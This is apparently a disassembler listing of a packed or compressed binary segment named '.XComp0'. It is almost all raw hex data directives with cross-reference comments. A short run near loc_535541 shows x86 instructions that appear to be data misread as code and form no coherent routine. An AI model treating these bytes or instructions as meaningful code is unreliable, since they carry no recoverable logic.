0A8E11520h dd 4EF600FAh, 0FCBFFD3Dh, 55009FD0h, 65E27910h, 6571A14h dd 2CD2D596h, 7700900Eh, 2A4FE790h, 480A9DA6h, 0F80F1C2Bh dd 0EA1E067h, 0FC1ADC37h, 1076061h, 0B58146FEh, 0B3BF5A10h dd 3F33000Fh, 0C1DC9089h, 8C0AB65Dh, 0E44F05FBh, 8EF78705h dd 9997CDC1h, 2D8068BBh, 0EB159AF8h, 0E40435EAh, 23A9956Dh dd 35F2EE0h, 0E91D45Ah, 20004BF0h, 1CF9AA72h, 0F2EE085Bh dd 0D3860009h, 8EA39FC3h, 0AD5C9844h, 0A78312BCh, 62E44800h dd 1F9FE711h, 0C0DACF76h, 9A0914CEh, 0D501D0A1h, 0E6126DAEh dd 5ACC2113h, 0D79B00FBh, 0E7EB2B26h, 0EE00FC75h, 732348D4h dd 26110CF1h, 308B078h, 8AAB49D3h, 0C3EC3DD0h, 0E836070Fh dd 193900D7h, 62B1E7h, 0A21B57AAh, 0D8C2C713h, 0A050CB00h dd 0FC71BCEFh, 1C360028h, 3AEB517h, 0A9008CFAh, 693D6137h dd 3AD9BA63h, 9A834C72h, 7CD5D864h, 678A33A0h, 968EEF00h dd 713A0177h, 192B02A5h, 9AE23747h, 62768460h, 0D194E000h dd 0E6D7803Ah, 2E7138FDh, 136C4080h, 0C14C3D93h, 4297926h dd 0F8FBFF00h, 710C8A8h, 88189D5Ah, 154ED3BEh, 34818CF8h dd 548728C0h, 0B20CC640h, 47D0070Ch, 0B0745ECAh, 7F2C4485h dd 9F537800h, 1B7E7F5h, 62130CFCh, 0B4C88DA0h, 5405C202h dd 0E0A7E67Ah, 17F42DD6h, 0DBE098h, 1E07750Dh, 494858CAh dd 3F6E074Ch, 1A30B6BAh, 8D7B14h, 0F5356C2Dh, 0A508A19Fh dd 0E2519B1Dh, 0BC1DB6D2h, 0D95FDC40h, 268981DBh, 88A7CFh dd 0F1CDAD41h, 80005171h, 3BE5ECACh, 48D8B7h, 4FEA1F64h dd 0FE6C8216h, 788C48h, 899239A9h, 774D792Eh, 0B210000Eh dd 55B06B7Bh, 2D05FAF6h, 759BBE8Bh, 0EB5FE201h, 40F11F7Ch dd 3514820h, 4903A86Bh, 3CC89F30h, 8F24D59Ch, 75023A6Ah dd 0C0C3EAE4h, 96952h, 7FC22E59h, 8DC9207Bh, 0B66A9F01h dd 0F961BB77h, 0ABBF6E87h, 506CF7CEh, 4985CAE4h, 0E513280Ah dd 4401C409h, 5AD04273h, 0E5CA6630h, 2CC618D0h, 10271C0h dd 0FF19664Bh, 9F2FDCD5h, 0A315CCA0h, 0CDD46900h, 0E02B508Fh dd 245E3EB4h, 0C51A00F0h, 47E22D1Fh, 7B006D0Bh, 0AC6E7FB6h dd 896016h, 315A2022h, 5E10E1ABh, 99A44Ch, 0C504B462h dd 79A8479h, 1D182F88h, 0A0D3A776h, 47A41656h, 93FE5D0Ah dd 803CD891h, 38C4A301h, 0A3A67D6h, 5F1D4FCCh, 155B00F4h dd 232FF382h, 32D8A100h, 0DA137955h, 6BD8EF2Ah, 496561ECh dd 80E1B708h, 0F7A838BCh, 608A5EE2h, 0E0AD4852h, 9C03B976h dd 0EC2790C3h, 3C120F99h, 8AE0FFF8h, 18EB047h, 0D2566800h dd 338CFBABh, 0C61B003Ah, 0FFD7B23Ch, 0DE126570h, 63006BC3h dd 0F80AC25Ah, 3D16022Fh, 4D805CBCh, 1817DC40h, 105F7B37h dd 95012F00h, 0F5CE0045h, 7FEC6D56h, 0C6269C71h, 0B5005E07h dd 868D831Dh, 0A81500FAh, 0BD4F2472h, 0AB00665Dh, 195B0CAFh dd 3A2D96D3h, 53001706h, 0A4DC1D79h, 67FC45EAh, 25016870h dd 4A1B2149h, 0BDC87C3Dh, 0A4EC4Eh, 3ED3EEC6h, 25424CF7h dd 41078CF2h, 12C00214h, 0BE62250h, 8D492CBAh, 0B6CF0E94h dd 80EA7787h, 0E347620Fh, 0DF274E00h, 0B17D2EECh, 24E000BCh dd 0AC5E4178h, 0E7002060h, 0E12C17BEh, 0B0A32891h, 0AB60E52h dd 277DED7h, 0A605E54Dh, 0C20BE280h, 0E40219CAh, 86358FA7h dd 6460400Ch, 0AFE20FD3h, 0EA0007B7h, 0A6B8476Fh, 0A3122000h dd 0B9466AE9h, 643500DFh, 1C26B24Fh, 492E86F5h, 0CB812434h dd 43992C0h, 24BADDF4h, 601824h, 464DABA7h, 0EB07D1EDh db 19h, 0ACh word_535246 dw 8B81h ; DATA XREF: .XComp0:00452DECo ; .XComp0:00453204o dd 91310980h, 0C6F4007Bh, 2A9793Bh, 41FE1FB5h, 2ACB0500h dd 4D26BE17h, 34EF4F6h, 1EE8AD40h, 0BC888D46h, 0B4139F4Bh dd 0E8005106h, 23081558h, 0EB20094Fh, 0F1806895h, 0F033931Ch dd 0B5D5F800h, 0B418E56Ch, 689F00C0h, 473017DCh, 8FA0A1A0h dd 9D01E0E8h, 0F94401A5h, 60807290h, 21160417h, 0A100F798h dd 0C70845F6h, 20DCCBDh, 383DFE1Dh, 0BCE0DC77h, 2A00E2D0h dd 14D6B70Eh, 751E8140h, 0CF8D0028h, 0F4A6691Ah, 0AF0056E3h dd 0D00BB5FAh, 3C17649Dh, 807ADE0h, 3D659ED5h, 6209D410h dd 7F13B900h, 90823E4Dh, 7B8600E2h, 6377A095h, 60480ADFh dd 0F7E871B0h, 8E6E610Fh, 482660C0h, 0FEF0E8D7h, 7A4500E7h dd 73A7D1F6h, 0EA00A007h, 475B5AE2h, 0D9BE9Fh, 0F4F37F99h dd 362F90F6h, 650006FEh, 0F2714D72h, 0B4D616h, 46371F21h dd 8B4428F5h, 29966A03h, 0C813CFB2h db 0D2h byte_535345 db 0AFh, 0B0h, 0 ; DATA XREF: .XComp0:00452F78o ; .XComp0:0045325Co dd 0FC9FA316h, 0C7D8953Ah, 0ECD13900h, 0E0DCAD1Ah, 2A2F005Ch dd 0DE1005C1h, 3590881Fh, 33BCDB00h, 352C3027h, 40DD1418h dd 5F00BC80h, 56CDD11Ch, 11777024h, 3FEB3B00h, 0AE5BC154h dd 0CB320037h, 5A3390CFh, 0F31874BEh, 9910CE76h, 148211FBh dd 0B583507Fh, 0E4D45700h, 3B4038C6h, 1F1D3B77h, 4441EB9Ch dd 0B0912899h, 0B4A00AB8h, 4B00D97Fh, 95B00E5Ah, 0C7C962h dd 2275B26Dh, 3956718Ch, 4F17317Eh, 0BA041863h, 3C808715h dd 17C7D16h, 0FD5B801Dh, 205C0CB8h, 87002D8Dh, 59036885h dd 4A6A7772h, 4F9C144Ch, 282D8C00h, 3FBDB4A9h, 52D79714h dd 1869BEh, 37BBC69Dh, 0F950053h, 6BF34DDEh, 300F0C3h dd 0D7D3850Bh, 90224A31h, 19940070h, 0DDD53938h, 0A001143h dd 7D5BFCEEh, 6E9451Dh, 2BD488EAh, 5CA0F0A0h, 8C3F37E7h dd 0B7C59751h, 0D35368C0h, 3FB0F840h, 0DE971F50h db 0F2h byte_535449 db 0, 98h, 10h ; DATA XREF: .XComp0:00453234o dd 3533E5EBh, 0C1B94B00h, 558AF1FDh, 0C1E004Fh, 3B1DCD48h dd 0D0063AAh, 0C9EB26C6h, 380E75E2h, 5EBEB1EFh, 8A2A480h dd 1F2344FEh, 24991900h, 0EF713091h, 6570384h, 0F91AAF61h dd 0FC9650C1h, 5C0E7E82h, 4079040Bh, 36B4B37Fh, 8AF20007h dd 73F03E31h, 6C0FD199h, 207D18E9h, 9AAC20F8h, 0EBB50026h dd 0D2A14C45h, 0FF004D43h, 8195944h, 0EBAE597h, 3DA2CA91h dd 61E3CB40h, 0EFE64C50h, 0A89C5C07h, 0C0BF6F22h, 0DD297EBAh dd 1C534DBCh, 79803300h, 0CC017691h, 7226B600h, 9C5DEE7Ch dd 0BFCE0052h, 3EEF6A5Ch, 9D002BCFh, 86A5D98Ch, 7EA27526h dd 4F2F01AAh, 0B9419E90h, 6CCED52Ch, 6EED0038h, 4BD18DFDh dd 0F8737023h, 0CBB70056h, 0FF7C2254h, 0B60B13C3h, 808C389Dh dd 7ABDC6D2h, 8DF6012Fh, 0C147326Fh, 90108054h, 54D3D38h dd 0D3B40099h db 77h ; --------------------------------------------------------------------------- loc_535541: ; DATA XREF: .XComp0:00452D44o mov dh, 59h mov ds:300DFDDh, al xchg ebp, ebp retn ; --------------------------------------------------------------------------- dec edi mov byte ptr [esp+edx*2+1AB06400h], 7 xor dh, [eax] ficomp word ptr [edx+71h] fiadd dword ptr [eax] retn 3304h ; --------------------------------------------------------------------------- dw 5BBAh dd 3B4F56h, 9C15D844h, 0E3888626h, 29C67B00h, 0FC5B4636h dd 0F07C0095h, 0D106F8B4h, 430EF9D0h, 60811BDDh, 0A67058A7h dd 0FB80919h, 34000994h, 0F02152F4h, 0C9068F30h, 0DA237Eh dd 0C5403189h, 0F7225DBEh, 0B6004378h, 878BCBA8h, 75FBDB97h dd 9ECC00B7h, 3937984h, 81073D41h, 3392A5E8h, 47BAFA81h dd 0C65CF4h, 0B5752CE6h, 2B356C2Fh, 4C558203h, 0C24BDC66h dd 0B7D8407Ch, 5CAC00A4h, 0F3B0A35Dh, 0E83BD66Dh, 0A81400F2h dd 5236E37h, 0FBAE004Fh, 60984219h, 9D0E8BC7h, 0A0A4354Dh dd 0BEEDCA77h, 67270020h, 6AFE82D7h, 2D169316h, 0FD09BF8Dh dd 0C9BC2F61h, 99C8C0D8h, 217E009Eh, 6776EC85h, 3F03E941h dd 0D4A96AA8h, 898C8CFh, 0AC6C01C2h, 65B18D84h, 3317033h dd 11EA7F31h, 6920400Dh, 0F61B006Fh, 0E3C5264Ch, 7A0C4D78h dd 294BB2B6h, 7C3C07DAh, 0E18980D6h, 6C73DBCEh, 7A420944h dd 0FE09F5h, 48D51B98h, 8B5F005Dh, 0B2EA0E76h, 0AA002158h dd 4187538Dh, 127156BDh, 827AD308h, 2B112DD8h, 19EFFCh dd 4F14082h, 0F157055h, 0A5716C00h, 9034F7E0h, 1A330064h dd 0CDB45818h, 0D53A0B81h, 75C0115h, 0DA916F56h, 4A7A66D4h dd 1801EB8h, 999253Fh, 208840C0h, 471C42F6h, 0ACA8CBE1h dd 5A10E543h, 0D6D009Dh, 43293488h, 0EB9C02EEh, 2A80D3E7h dd 2FE16860h, 220158h, 291E5F4Ch, 58AF2E55h, 5B0048A7h dd 0A0E9B561h, 0F90060AAh, 7F63A3Bh, 0E43270h, 264F28Ah dd 3630621Bh, 6C518807h, 0E36021F1h, 31821Fh, 23C30CE5h dd 561AFCE6h, 0EA28E0F5h, 863B5Ch, 73C2C583h, 6D044Dh dd 0BC37A5BFh, 0C62A6F79h, 68A35730h, 4AF2DAh, 0B728156Bh dd 4CF89E9h, 4C566400h, 0C822E237h, 9CF7002Ch, 0D87C81B8h dd 0D6074679h, 9686B997h, 50D5F980h, 0B0FA000Ah, 0A6D0753Bh dd 9B00D75Eh, 0CAA57E06h, 47A740h, 0B323D955h, 0AFBC0377h dd 843B7AE6h, 240CCC7Dh, 0F00018D0h, 0F408D86Ch, 68D0E0Ah dd 0F2C35317h, 74F8A520h, 0C80FD59Ch, 800ED105h, 0F11861A7h dd 0FD573998h, 0D48312A5h, 0F19CFCD4h, 676430B8h, 8C0A7213h dd 17267700h, 1A5E3FAh, 867162EBh, 800E3B8Dh, 75346662h dd 3B98D914h, 3E8FCB59h, 4940B75Fh, 939A8838h, 9EEC2B00h dd 0D238083h, 24F00BD0h, 0B000175Fh, 59928890h, 9E0085EAh dd 66E083A5h, 3CA7AE26h, 4980A063h, 0C0FD5843h, 0CC3BBF6Ah dd 1F65C52h, 0E0D77A2h, 80814D03h, 113AD080h, 9648873Fh dd 3130A282h, 9849053h, 0BC6875E8h, 14462CE0h, 9B1AEA00h dd 3266279Dh, 7B357C25h, 5E210397h, 8642C443h, 0FEC2581Eh dd 9FE78947h, 477A0F01h, 0AF27E8h, 4F58450Bh, 7692ABBh dd 0DFC9900h, 24EAE0F9h, 0A688CB97h, 75FAC781h, 0E160DE74h dd 0F397217h, 924F85FBh, 0C8D7200Dh, 0F4A97590h, 77560B2Dh dd 63005FFAh, 0B259201Fh, 96F8D800h, 858499E2h, 6EF316B7h dd 561C0068h, 0AB428A0Dh, 23271D73h, 20D57EEBh, 0F25E00F8h dd 9FDD12FCh, 98A08D0Ch, 110199F9h, 7B2227ACh, 6C2002BDh dd 2F1E0064h, 5F62D84Ah, 7000AC09h, 8583F51Ch, 0DD9BE6h dd 2FE53520h, 149D57DEh, 0B2566D0Bh, 0A9DC078Ah, 973E45F3h dd 181C7500h, 16E01EFh, 0F2769B81h, 9A69800Bh, 0CE0E1D19h dd 0B21A07F9h, 0F08B1B07h, 372EDB1h, 2B4FA400h, 30C3D150h dd 0DCF005Ah, 0EDD95F12h, 23E112Fh, 83228015h, 0FAB63334h dd 0F773C99h, 589BB30Fh, 0AC3D3665h, 9EE900D6h, 52DD7D2Eh dd 0F5B0033h, 20DF3474h, 491DEBCAh, 6C0048FCh, 0AEF83D5Dh dd 0B410006Dh, 0EA3CF1C7h, 0D14A3273h, 22441Ch, 0C9A2DCB6h dd 3ACC15B7h, 9C859800h, 3E338CE6h, 0F25205DAh, 83383627h dd 8E0867Dh, 0DD586955h, 0F64903C4h, 1C464B8Bh, 0C8E811h dd 9197D72Bh, 0F100CEA1h, 0CAE52554h, 0E67981C5h, 0BA9D245Fh dd 78883021h, 0FC009FE2h, 14F13CEAh, 3A0DA87Bh, 3280ADD4h dd 3EC9A5D8h, 77004FDFh, 0CC1B6ACh, 0F0ED6Dh, 0EE105189h dd 8144E5C5h, 0D1655B00h, 0CB6ADE7Eh, 805700E2h, 4127B161h dd 6D015832h, 0DF10150Ah, 308B93B3h, 0C0682333h, 1B13BA42h dd 9A006FE7h, 2D112513h, 0C9E48Ch, 7F7E2C41h, 2BB69856h dd 0EB0067E6h, 81650506h, 7A55978h, 7E7D89AEh, 8C90B9C2h dd 30009E74h, 0B32D185Dh, 0F23E6BFh, 0B7F588C9h, 76475B60h dd 0B00025F9h, 13CDBDDh, 0F452C4h, 41886A17h, 50832912h dd 0F0E0EC03h, 0B8E45911h, 3F2CFF70h, 0E280BCD3h, 63C6ED55h dd 0F400511Dh, 5D28CC36h, 0F87E3Bh, 7F94182Dh, 69D4B270h dd 0D6351D05h, 0AC0079F7h, 82EF166Bh, 0D7B6005Ch, 0C4A433DBh dd 0E4EA53DDh, 6C4D2514h, 0ED7700EAh, 8F9FA218h, 9740052h dd 7C635314h, 2C003B37h, 0B39C4A7h, 0F862C0B2h, 25E00092h dd 5405A05Bh, 1704D795h, 0DB63B52h, 2D0070F8h, 124D3D2Fh dd 3300630Ah, 77968340h, 62170Ch, 53BC3F3Ch, 4C7FDE76h dd 5FFAE00h, 35EFBA7Eh, 0F2AF064Eh, 10948086h, 0F8513Bh dd 0B4990A0Dh, 763893h, 19B8BCE8h, 0E60183CEh, 313DB102h dd 5045A51Ch, 11FF0278h, 0ED46978Ch, 902E1858h, 1F00AC9Ah dd 33FBA0FEh, 362800F4h, 4A4DE3DEh, 84B07EB4h, 8F6EF63Ch dd 40F7E49Eh, 0B75ADE1Dh, 919D01A1h, 714DF537h, 7E98686Ch dd 26EFD707h, 99E2F05Fh, 7A48E043h, 92820B25h, 9082679Bh dd 8CA08CC2h, 7EED7D43h, 4A0B6870h, 8127E277h, 0D055658Ch dd 0F672D0h, 2244D13Ch, 77A0C502h, 3F056A00h, 1B26A775h dd 9F4800B6h, 2BE635BEh, 0E4ECEE56h, 19715C30h, 1B79A3F7h dd 0F0EB14EDh, 0E6C6CD80h, 79885448h, 9C96D600h, 624FEA5Ah dd 1C7E00B9h, 94938972h, 0D1A3EC1Bh, 6A243801h, 6E35B0Fh dd 7E3DD0h, 0A55F89EEh, 0DB33929Ch, 14454B1Fh, 38D8A787h dd 5D6AC540h, 0DCEA0041h, 0F0EEE67Fh, 0FE001375h, 76C95566h dd 0F1060B36h, 80326080h, 0D8972753h, 355CE500h, 98704187h dd 664900E3h, 0D6E945F8h, 0B2008AC0h, 2FB66A8Dh, 12D8FC4h dd 21601D67h, 60573F17h, 2300A4FCh, 0E0ED1E5Bh, 0E3B880h dd 999B094Ah, 0EAAC0FB2h, 8C3D2900h, 3E4B7F22h, 0F9670B3Fh dd 83804441h, 0F2923143h, 38005478h, 0CD86B8E4h, 77532621h dd 6A9800FBh, 0CAE692C5h, 0AC2C6585h, 0B424B3CFh, 0DE96E000h dd 0E0B2BA3Dh, 0AAFB180Eh, 77DDE34h, 0E160D3Ch, 77A3B35h dd 0B8B5531Bh, 88ADCDC0h, 7C520669h, 106D54B7h, 7F216800h dd 0E22DA661h, 8CD72DE3h, 0B747DC8Fh, 70600919h, 0F5053079h dd 88F15C4Ch, 0C0FA0B0h, 4833C1ECh, 0AC00D211h, 0D054088Fh dd 5EFD07h, 8957D985h, 2A6D6960h, 0D4183903h, 0F7AA4C71h dd 0AEA3E820h, 0C0954AB9h, 0B40F8D7Ch, 30C58A07h, 0ABF08327h dd 0DA9088h, 0DFCF78E4h, 0E35C569Fh, 82C4A901h, 6CAE0363h dd 9313420h, 87553E1Bh, 0A8C80D09h, 8C0E8F24h, 202D4C27h dd 7FC3AE3Fh, 0B49A1CB9h, 0D7FA41FDh, 68766D55h, 807A3FB4h dd 56DFA409h, 72F05E97h, 414D054Bh, 80FDC628h, 5D92CDE7h dd 80CA5200h, 8FF407DFh, 0F30A0042h, 0DA670646h, 4D037A7Dh dd 27BA9ECDh, 65FF8886h, 5CF100FCh, 5A0B3CB8h, 870D4F8h dd 602C2500h, 0F56C899Bh, 4E024C2Eh, 73A94800h, 91A3AD18h dd 701CE2B0h, 0A4C32412h, 80B30CB6h, 7D8C410Ah, 2E0300F0h dd 20A2332Fh, 1C386DB5h dd 0AC190037h, 0D91861D1h, 9DD000BAh, 1AF6D25Dh, 0B2003DADh dd 8C5EEE32h, 1CC1936h, 0C106AE48h, 2AC7CE79h, 0C5158400h dd 0F59EA3h, 1BB16D7Ah, 6F01E02h, 0DC5AAB00h, 60985BA9h dd 7B58FAEAh, 924D00A6h, 4950E589h, 0BF029DD6h, 54D97984h dd 96BB8145h, 0C2307A87h, 1D57B44h, 8CD3ACE0h, 3B02568Dh dd 85923840h, 0EFA42D1h, 0A786AA8h, 899C708Eh, 70D92023h dd 81C46810h, 0E0AA00E3h, 9CD18094h, 0FB5B0010h, 8E16D931h dd 8D461A00h, 0F7A96740h, 3B02073Dh, 0BE94AAC9h, 52D4C6C1h dd 0FDCE4053h, 0C2000B95h, 92E2DA25h, 1F46D148h, 5B086Ah dd 0FF932132h, 0B252A08Ah, 69ED8860h, 694690D0h, 0C7099B02h dd 0AE80D15Bh, 0AF62FEA6h, 66504427h, 0EACB0078h, 0B32A195h dd 0C500F5A0h, 9D2EF9Eh, 731845AFh, 0D270060h, 3193A8D7h dd 5E00D1ADh, 0CB20FD80h, 3FC729FCh, 1F6CC17h, 4B5CA467h dd 0FC38CF91h, 5F00DB37h, 47EA65CAh, 8019Fh, 0C2E7EE15h dd 0F134E8DDh, 7C9A58h, 492C0BF7h, 7EC3EEDh, 0CFFAC356h dd 4D404E8Ch, 0C07DA3B0h, 17CC6C00h, 9BDFE291h, 8767003Bh dd 2BE5711Dh, 0FB0EDEA3h, 0A03F4EA5h, 397225C1h, 50A000F1h dd 0FCADC355h, 0F502C59Bh, 6E0EEB33h, 2994A009h, 0FED891B2h dd 6D9C2D13h, 0CDE900A1h, 0E705E426h, 0A630800h, 3543403Bh dd 56D4E980h, 7A53F03Fh, 39049095h, 16A75EA1h, 500D4C41h dd 0EE70AAD4h, 0D087F100h, 450EB88Ch, 37471FE4h, 0DBBB0981h dd 6D110001h, 34799C73h, 0E70C1CC3h, 7AFFE814h, 7EA57E91h dd 0B1E100A3h, 90705350h, 0E90076FEh, 7F68699Dh, 0E0C32320h dd 9F1B0F48h, 0D8E01385h, 919B94C0h, 0A12CDF4h, 6C40FAFEh dd 2F418A86h, 9C0F0717h, 3005564Fh, 0A08CA522h, 0EFD6A100h dd 92CFC425h, 5FD11886h, 0D30D10Ch, 5E2DF100h, 5C7604BDh dd 0E940E6DEh, 0E4625D4h, 915FA157h, 6ED8D180h, 5D008F84h dd 0ECA256A9h, 1F540C8Ah, 788329Ch, 0C0D81B87h, 44402F09h dd 0F289F00h, 0D1A7737Ch, 0DBEC0316h, 0F314A02Ah, 216F0830h dd 0E0D1DF54h, 0DCB54C3Dh, 2D6E1F00h, 65A49D0Bh, 0D6937C01h dd 2C8B6C0Eh, 80130BCh, 0B73EBD37h, 0AF9FC04Bh, 0EE609C6h dd 0E87E20h, 164409BDh, 0AA7DD6DAh, 6F83B0Ch, 62B65828h dd 0F2A68BBh, 11217D0Fh, 0BD758712h, 315BB632h, 3CF210E0h dd 88C900BDh, 0A894560Ah, 970AD8E1h, 8C51F442h, 95E28A00h dd 0C053BC62h, 94C51310h, 0AF007C29h, 250C077Ah, 0DB3BD3h dd 15EB7617h, 71E3102Ch, 621F0D7Bh, 5540B25Fh, 0D457A435h dd 0A7D1001Eh, 7F664C95h, 0FF03EC4Fh, 992983EEh, 3E039B88h dd 0F400B642h, 9E848737h, 330E9A45h, 63E61E3Bh, 909BCD1Fh dd 0F8E56F1Dh, 0DF5800FDh, 52F6DB4h, 0EB05EAB0h, 0BF7F4629h dd 0AED93D80h, 1ED60238h, 35E8AD16h, 3696E840h, 6B0052EEh dd 975DBCCCh, 0F4B92DEh, 7688F257h, 48A03DA0h, 29008B5Eh dd 0DA219BBDh, 5AF4B0h, 871C89E5h, 0E9E28330h, 0AC7EC700h dd 7CE849AEh, 1954003Ch, 4ACBF5F8h, 0C43EE1C3h, 449B0F61h dd 95ECA1B3h, 84E4BD2Dh, 88DA0042h, 37B982C6h, 0D0001C10h dd 0DD51B4C1h, 0B1FBABh, 3C5E0A85h, 3A28A295h, 29E09B1Fh dd 13735F40h, 2CEEC8DAh, 2C8C16h, 0B62B98CBh, 2700A449h dd 7686D71Dh, 0ED8D08Ah, 0F23DFA5Fh, 0E21CD6C0h, 2D7C70C5h dd 0D5E5CC00h, 941ADCDFh, 0EDC0007Ah, 0FA1BA6F6h, 157B1D03h dd 0D100D0E0h, 280F058Fh, 0B08CA783h, 64C300D8h, 0E3532465h dd 90088DFh, 0E12A615h, 3F6591Dh, 80FCC435h, 903BC5BBh dd 31443064h, 3EC7A8BFh, 0F4963Ah, 0D8A9EC85h, 0B892C3F0h dd 3BA0A318h, 39E10328h, 8007C134h, 0A0E06475h, 6BC5E695h dd 8009AC3Bh, 0E108A890h, 3B1AEBh, 87E535D6h, 88148DF2h dd 7CEED00Ah, 0E980BC65h, 130B86CAh, 0CC850024h, 285A1D67h dd 21187EF7h, 0AD403A1Ah, 0FAEECDh, 0B2BBCA3Eh, 8728612Eh dd 6047403Ch, 49F0C180h, 0C2D249Dh, 39003D06h, 6B41199Fh dd 4D3B7D3Ch, 5E968184h, 0B183BFE5h, 4C09E0h, 30885C8Fh dd 2B7B6BC8h, 0FFBC0500h, 17BD440Ch, 4E5F3E1Bh, 59087700h dd 982291EDh, 99213D0Fh, 678408Dh, 0F612F93h, 0E244330h dd 0D535A400h, 1D242985h, 0AA801472h, 6A508F53h, 31B00C3Bh dd 46208AC9h, 0A60059E0h, 0BC973E44h, 0E4E369Fh, 0D313910Dh dd 0F4A91B40h, 6B00C412h, 0F717C821h, 0DEB5ECh, 0F1D62242h dd 0C39802EDh, 1CCBBF1Eh, 8BC0515Dh, 0FCD0C53Ah, 0F6F05Ch dd 7DAF4914h, 0D83D2790h, 831EB400h, 7BB797EEh, 0A89D5BE0h dd 4DFA0023h, 4967FEFCh, 64B60F53h, 55E7595Ch, 0C602F83h dd 1325ACD4h, 60736900h, 21B6B806h, 1E6A78DBh, 1C3EADAh dd 0FC1E6F8Ah, 0F4D6FDF3h, 0C8FA1D89h, 0FBC6ED04h, 0F480120Fh dd 0FE2A038h, 0BCC49DD0h, 772399A7h, 87FDB1F9h, 5040EAD2h dd 0E700AA3Ch, 959711BFh, 0E35659h, 0F19F58Fh, 602DA4FDh dd 0D2001EF4h, 0C77FB64Eh, 1C91817Ah, 641BBFh, 0C01FB0AAh dd 5C05FF17h, 50766636h, 156FE000h, 95E9E9Dh, 0BF10614Dh dd 0B6A13801h, 366D0016h, 20BC00CBh, 878EBBE4h, 0CE008154h dd 2C86FCFAh, 0BA611Fh, 0B9DC6AF2h, 6627D595h, 41675900h dd 0F9E94FD3h, 0E39E25CDh, 0CF009076h, 0B8D00F2Dh, 42AB0093h dd 82A0D5FFh, 4AFC0B97h, 0BB40531Dh, 706988C0h, 13767B1Ah dd 0E14B1Bh, 8AB18243h, 0EA249953h, 450778E7h, 7890CE65h dd 240F84h, 0B81FD99Fh, 10ADA757h, 59775D03h, 0A87F79DFh dd 0A416EAh, 5FE5A21Dh, 9FD408C5h, 8017D738h, 1366B72Ah dd 5DE926h, 2236CB3Ch, 0F3BA7DAEh, 0F743D0EDh, 85E0E41Eh dd 3513DC66h, 2BFA3500h, 6FBDE5h, 2230ACC6h, 52D701D4h dd 1C1E8903h, 0A0B051C4h, 117160Bh, 676155C2h, 0DCFCDE7Eh dd 3D5C21D3h, 9AAB00E0h, 2DC7BA0Eh, 0C6FA0440h, 87BE1E51h dd 0FDDBE000h, 0A007F3BCh, 0D3192354h, 28643EE0h, 0E8D53BFCh dd 407FCA9Fh, 4B516C04h, 0E1314601h, 0AA60C021h, 120A81ECh dd 401B259Ah, 0AD179D20h, 409818D7h, 5DA15100h, 559C4EF9h dd 8A7581h, 0F715802Ch, 17869BFBh, 246C5300h, 7DD7C471h dd 2F40081h, 6018BDA6h, 9200405Dh, 0E806DF8Dh, 18C30E33h dd 19203ABBh, 900011A2h, 59BCC9F5h, 0E050635h, 0DCBBE5D2h dd 0DA788360h, 0F70036AFh, 17728655h, 0FD127Fh, 894DF563h dd 32FEC0B6h, 6561F200h, 92E3EF36h, 74C900D5h, 0B3B612ECh dd 30014C5h, 6120777Ah, 1C8E821h, 0FFD22B91h, 0D45F19A3h dd 171723F3h, 0B20089A9h, 0CC4E5E7Dh, 3A350077h, 63110F88h dd 90004C4h, 0E6568723h, 0DC0E34h, 0B01CAD4Fh, 0BE647E4Ah dd 0AC83A502h, 4092E0C5h, 9433894h, 0F9E34F62h, 0D4494001h dd 37C0E03Eh, 9D7CB00h, 42AEDA9Eh, 3F26006Dh, 0BAFD383Ch dd 0E4000FD4h, 2A6F319Bh, 0FE329DF6h, 76733C63h, 0A41107B0h dd 4CFA4A31h, 9AFD8600h, 670A2975h, 3D092AFh, 0CD5D224Fh dd 0BD905915h, 1100D7C6h, 7E8FB58Eh, 0FEB69565h, 93F4B7h dd 0DA082889h, 500A381Fh, 0CAA94800h, 0C88BFD3h, 7AC60C12h dd 0D4789E37h, 676BA000h, 1146476Ch, 2EEC0091h, 121A33CEh dd 2902373Bh, 573E92D8h, 0D1F480F8h, 52ADD20h, 2EB6F5C0h dd 83D7C7D7h, 9E8C419h, 4B00F612h, 0CE30A7FBh, 721483FFh dd 54B12892h, 2CF110A8h dd 6DF80036h, 0B506ED3Fh, 0D8DF044Bh, 80BFD063h, 40194D88h dd 82BB2F3Eh, 0B01EF65Bh, 636C4094h, 135F00CFh, 0BAE2D1DBh dd 0BC04BDC5h, 43EE2B24h, 0E25084B0h, 9F86004Dh, 8C96C25Ch dd 0FD01B2CFh, 63BA18B5h, 1081CD93h, 7E6CF43Ah, 0DA9BD0F0h dd 3FCA1D00h, 0C8CE64A2h, 752F032Ch, 0B32859BBh, 261AD0D0h dd 4CF47F26h, 0D218B901h, 3820D3CFh, 0BCEA03FBh, 0ED9AC6ABh dd 712782B0h, 43868400h, 0C4E7A79h, 16170E45h, 0E55477EFh dd 51F4FF04h, 0D834C054h, 7A1D297Dh, 0D54FADEEh, 976F6304h dd 0CE1003EBh, 36C944A9h, 0C76C3BD8h, 8C24E801h, 180912CBh dd 373E020h, 0B8870D6Fh, 40D2F667h, 71AD8AC0h, 42124301h dd 2959130Eh, 241F0E70h, 3B72BCh, 5B58C58Ch, 0B30CB72Fh dd 50E3B226h, 435A3B74h, 0BD87B500h, 0CA60C1E7h, 6D201903h dd 0B06CCF4Eh, 1C495570h, 40615275h, 53634071h, 16008379h dd 1D32AC42h, 0E607DE1Fh, 0B1B70023h, 9785EFF6h, 0C5000C16h dd 35FA1AD6h, 486355h, 590A3B2Eh, 61F6A319h, 3F312C07h dd 2F65CFBFh, 0D46D02C0h, 85460070h, 43A630E7h, 381E8EFAh dd 4080AC90h, 9DAD389h, 95C000B1h, 0E2DB2923h, 8807E7ECh dd 0BE0CBDCh, 0B22108E0h, 5E800031h, 0B3AE2844h, 8900CCC7h dd 94FA8520h, 581760h, 35CD27FBh, 0F93DDBA5h, 0D3348813h dd 6015000h, 0BBAB616h, 0A9BF553Ah, 9939D600h, 7A0067A2h dd 3BEF30A4h, 4375C7h, 7D1D7056h, 9A79ABD9h, 0F276B38h dd 40FD8EE1h, 5C976E58h, 49590084h, 6134BF09h, 54012806h dd 5FCC30ADh, 55F8A681h, 13781E5Ch, 0FF664115h, 0D0E208D7h dd 0B0E493C2h, 0C84C5928h, 46322B00h, 0D33EED40h, 0AA770044h dd 85B08151h, 6100B150h, 99343CA0h, 38305978h, 0BE3D9CE7h dd 0F6BD253Ah, 85796480h, 6711263Eh, 0FB861700h, 0D6FF89CEh dd 0E8D109F2h, 0C000224Dh, 0F9F7AC48h, 9EA68318h, 0BC2EA8h dd 5D67FFFBh, 304E41A5h, 0BD253500h, 0A2C7C8ACh, 0A8D34D5Ch dd 867BB109h, 0EA415905h, 0D582DC80h, 47EE00D4h, 852BFF8Dh dd 